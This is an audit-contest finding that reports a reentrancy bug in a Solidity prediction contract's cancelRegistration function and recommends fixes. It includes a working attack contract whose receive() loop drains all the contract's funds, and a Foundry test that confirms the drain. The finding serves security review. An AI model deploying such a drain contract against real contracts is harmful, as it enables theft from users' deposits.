First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-1] `ThePredicter::cancelRegistration` is vulnerable to reentrancy

mayhem

Summary

Anyone can enter the protocol with ThePredictor::register. Upon entry, the user has a status of Pending. During the Pending phase, a user can be Approved by the organizer, or the user can exit the protocol using ThePredicter::cancelRegistration. If the user interacts with cancelRegistration, they have the opportunity to drain all funds with an attack contract.

Vulnerability Details

ThePredicter::cancelRegistration lacks reentry mitigation and it makes an external call to msg.sender:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

The user enters the protocol as a malicious contract... msg.sender will call cancelRegistration whenever it receives ether:

receive() external payable {
while (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
Proof of Concept (attack contract)

  1. The malicious user will become the owner of this contract on deployment.

  2. This contract will enter the protocol as a player.

  3. This contract will call cancelRegistration initiating the reentrancy loop

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
interface IThePredicter {
function cancelRegistration() external;
}
​
contract CancelReenter {
​
address private immutable owner;
IThePredicter thePredicter;
​
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
​
constructor(address _thePredicter) {
owner = msg.sender;
thePredicter = IThePredicter(_thePredicter);
}
​
function attack() public onlyOwner {
thePredicter.cancelRegistration();
}
​
function withdraw() public onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
if (!success) {
revert();
}
}
​
receive() external payable {
while (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}
Proof of Concept (foundry test) 1. 16 initial participants are entered into the protocol 2. The malicious user enters their attack contract into the protocol. 3. After registrations, the contract has a total of 0.68 ether. 4. When the malicious user calls the attack contract's attack function, all funds are drained from the protocol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {ThePredicter} from "../../src/ThePredicter.sol";
import {ScoreBoard} from "../../src/ScoreBoard.sol";
import {CancelReenter} from "../../src/attack/Attack.sol";
​
contract ThePredicterTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
CancelReenter public attack;
​
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
​
uint256 public constant PICK_A_NUMBER = 16;
address[] trusted = new address[](PICK_A_NUMBER);
​
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
​
vm.startPrank(stranger);
attack = new CancelReenter(address(thePredicter));
vm.deal(address(attack), 1 ether);
vm.stopPrank();
}
​
modifier participants() {
for (uint256 i =0; i < PICK_A_NUMBER_; i++) {
string memory stringNumber = vm.toString(i);
trusted[i] = makeAddr(stringNumber);
vm.deal(trusted[i], 1 ether);
vm.startPrank(trusted[i]);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
}
_;
}
​
function test_Reenter() public participants{
vm.startPrank(address(attack));
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
assertEq(address(thePredicter).balance, 0.68 ether);
​
vm.startPrank(stranger);
attack.attack();
vm.stopPrank();
​
assertEq(address(thePredicter).balance, 0 ether);
}
}

Impact

This is a high impact vulnerability that can drain the protocol of all its funds. Any of the non 'trusted' participants can perform this attack. The smart contract does not need to perform any calculations and only needs to call cancelRegistration repeatedly until all funds are drained.

Tools Used

Manual Review
Foundry

Recommendations

There are a few courses of action that can help mitigate reentrancy

  1. Update state (CEI pattern) before making an external call

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

  1. Consider using OpenZeppelin's ReentrancyGuard

  2. Adjust ThePredicter::register so contracts can't enter the protocol

function register() public payable {
+ uint256 size;
+ address caller = msg.sender;
+ assembly {
+ size := extcodesize(caller)
+ }
+ if (size != 0) {
+ revert ThePredicter__NoContractsAllowed;
+ }
​
if (msg.value != entranceFee) {
revert ThePredicter__IncorrectEntranceFee();
}
​
if (block.timestamp > START_TIME - 14400) {
revert ThePredicter__RegistrationIsOver();
}
​
if (playersStatus[msg.sender] == Status.Pending) {
revert ThePredicter__CannotParticipateTwice();
}
​
playersStatus[msg.sender] = Status.Pending;
}
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.